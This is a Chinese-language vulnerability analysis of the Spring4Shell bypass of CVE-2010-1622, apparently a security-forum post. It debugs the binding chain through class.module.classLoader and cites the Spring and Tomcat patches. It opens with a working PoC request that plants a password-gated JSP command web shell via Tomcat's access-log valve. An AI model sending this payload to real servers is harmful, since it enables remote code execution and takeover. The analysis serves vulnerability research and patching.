首发于奇安信攻防社区:https://forum.butian.net/share/1474
先上poc吧,虽然大家已经有了

  1. POST / HTTP/1.1
  2. Host: ip:port
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  5. suffix: %>
  6. prefix: <%
  7. Connection: close
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 803
  10. class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Diif(%22023%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20out.print(%22%3Cpre%3E%22);%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20out.print(%22%3C%2fpre%3E%22);%20%7D%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=a&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

这个是CVE-2010-1622的绕过,具体分析可以看SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析
文章啰嗦一点,看得懂就行

0x00 环境搭建

我是远程调试的,直接debug一直有报错。
首先修改tomcat配置,win环境在catalina.bat增加
agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
idea直接打开tomcat所在目录,添加框架支持为maven,然后其中我又新建了一个文件夹为project,这个也添加支持maven,效果如下:
image.png
然后spring里面写代码,生成war包,直接放到webapps里面即可,启动tomcat会自动部署(默认热部署,添加新的war过一会就自动部署好了),然后idea添加远程debug
image.png
接着愉快调试吧

0x01 前置知识

spring ioc

这个东西我一句两句也解释不清楚,看文章吧,当时在学校学的时候就懵懵的,控制反转说白了就是将pojo和bean交给spring来处理,我只需关心值的设置与取用,无需关心怎么设置与取出的
java对象 POJO和JavaBean的区别Spring(2)——Spring IoC 详解Spring IoC有什么好处呢?

参数绑定

pojo

package com.yq1ng.pojo;

import java.util.Arrays;

/**
 * @author ying
 * @Description
 * @create 2022-04-03 5:37 PM
 */

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    public void setName(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}
@RequestMapping("/bind")
    @ResponseBody
    public String bindTest(User user){
        return user.toString();
    }

访问http://localhost:8081/spring-rce/bind?name=yq1ng&age=1页面显示
User{name='yq1ng', age=0}
由于age没有set方法,所以没有值。通过参数绑定,可以很轻松的使用pojo类,不再像以前一样再去调用set,这些都由spring帮忙完成。
参数绑定也支持层级调用,比如下面这样

package com.yq1ng.pojo;

/**
 * @author ying
 * @Description
 * @create 2022-04-08 14:28
 */

public class UserInfo {
    private String name;
    private Secret secret;

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public Secret getSecret() {
        System.out.println("getSecret");
        return secret;
    }

    public void setSecret(Secret secret) {
        System.out.println("setSecret");
        this.secret = secret;
    }

    @Override
    public String toString() {
        return "UserInfo{" +
                "name='" + name + '\'' +
                ", secret=" + secret +
                '}';
    }
}
package com.yq1ng.pojo;

/**
 * @author ying
 * @Description
 * @create 2022-04-08 14:28
 */

public class Secret {
    private String passwd;

    public String getPasswd() {
        System.out.println("getPasswd");
        return passwd;
    }

    public void setPasswd(String passwd) {
        System.out.println("setPasswd");
        this.passwd = passwd;
    }

    @Override
    public String toString() {
        return "Secret{" +
                "passwd='" + passwd + '\'' +
                '}';
    }
}

访问http://localhost:8081/spring-rce/bind1?name=yq1ng&secret.passwd=love
会显示UserInfo{name='yq1ng', secret=Secret{passwd='love'}}
查看tomcat窗口可以发现他是通过getter、setter完成的

UserInfo.getSecret()
  Secret.setPasswd()

参数绑定支持GET和POST方法,一起用的话就会拼接到一起,且GET优先级较高
image.png

Java Introspector(内省)

至于什么是内省(Introspector),看过Ruilin师傅的文章的应该了解一些了,没看的话可以看:https://blog.51cto.com/u_3631118/3119838。内省说白了就是去看beans的getter和setter,即使你没有这个属性内省也会认为你有,比如下面这样:

package com.yq1ng.pojo;

/**
 * @author ying
 * @Description
 * @create 2022-04-08 15:42
 */

public class Temp {
    private String a;
    private String b;

    public String getA() {
        return a;
    }

    public String getC() {
        return null;
    }
}

image.png

PropertyDescriptor是Java自带的类,它可以获取Bean的所有信息

这里为什么有个class?明明类里没定义有关方法。为此debug一下
image.png
方法注释说明写道内省Bean,并获取其所有属性、公开方法与事件,这个所有就厉害了,他还会获取Superclass,且是递归获取。来看代码
image.png
image.png
在Java里所有的类都继承基类,所以每个Bean的Info里面都会有class属性

BeanWrapperImpl

BeanWrapper在spring中是一个比较重要接口,其实现类为org/springframework/beans/BeanWrapperImpl.java。通过这个类可以很轻松的调用beans的各种信息及设置其属性。这个类最终调用的还是上面提到的PropertyDescriptor
看一下BeanWrapperImpl定义与属性
image.png
他的有参构造都会调用super,拿BeanWrapperImpl(Object object)来说,super会来到父类AbstractNestablePropertyAccessor的构造,跟踪构造会发现它会将传入的对象保存到this.wrappedObject
image.png
其他的方法即是见名知意,简单以取值、设值来看使用方法
image.png
非常方便,也可以见到spring的强大。

tomcat日志写文件

看一下这个:Struts2 S2-020在Tomcat 8下的命令执行分析,至于本次poc为什么会有%{xxx}的奇怪字符,是因为%是tomcat变量替换的标识符,具体可见官方文档:https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html
image.png
还有只能发送一次poc的问题,只需修改class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=任意数字即可,路径问题默认写道tomcat目录,相对路径就行,webapps/ROOT/即可。

0x02 漏洞调试

断点打到了org/springframework/beans/AbstractPropertyAccessor.java#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)
image.png
跟进setPropertyValue()
image.png
这里会对propertyName进行递归解析,进去看看
image.png
注释说的很清楚,递归解析。首先跟进getFirstNestedPropertySeparatorIndex()
image.png
.进行分割,第一次会返回class,返回后跟进getNestedPropertyAccessor(nestedProperty)
image.png
进入getPropertyValue(tokens)
image.png
会先查找缓存有没有这个属性,跟进,一直f7到org/springframework/beans/CachedIntrospectionResults.java#getPropertyDescriptor(String name)
image.png
返回cache后,一直往下走就会看到BeanWrapperImpl.java#getValue()
image.png
反射设值,第一次迭代如下

User.getClass()
  java.lang.Class.getmodule()    //下一轮

接着继续按.分割,直接看反射处
image.png
所以第二次迭代就是

User.getClass()
  java.lang.Class.getmodule()
    java.lang.Module.getclassLoader()    //下一轮

后面都是一样的,总结一下就是

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                org.apache.catalina.webresources.StandardRoot.getContext()
                    org.apache.catalina.core.StandardContext.getParent()
                        org.apache.catalina.core.StandardHost.getPipeline()
                            org.apache.catalina.core.StandardPipeline.getFirst()
                                org.apache.catalina.valves.AccessLogValve.setDirectory()

这样就修改了tomcat的配置,达到写文件的目的,究其原理就是CVE-2010-1622的绕过,由于jdk9的新特性:module,模块化绕过了原本的,为什么可以绕过呢?上面调试我没说,比较简单,单独看一下就行,就是在获取缓存的时候会进行check,但是只是检测了class.classloader,这是因为jdk8里面没有module这个东西,也就不需要防御,而jdk的升级成为了此漏洞的利用点,使用class.module.classloader即可绕过
org/springframework/beans/CachedIntrospectionResults.java#CachedIntrospectionResults(Class<?> beanClass)
image.png

0x03 修复

spring修复

3.31号对上述check进行了修补,连接:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15
image.png
只能获取name或者以Name结尾的PropertyDescriptor了

tomcat修复

其实不是tomcat的锅,但是人家还是修了。在3.31号修复的,连接:https://github.com/apache/tomcat/commit/1abcf3f4d741c824ae490009fe32ce300f10eddc
image.png
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()这个地方也算是寄了

后记

这个洞说起来危害也就一般,没有传言中那么厉害。一是jdk9以上,这点限制就很大,现在都是jdk8 yyds;二是仅限于tomcat,很多情况都是spring-boot,这就没法利用。所以仁者见仁智者见智,及时关注新特性,下次说不定就摸到大鱼了哈哈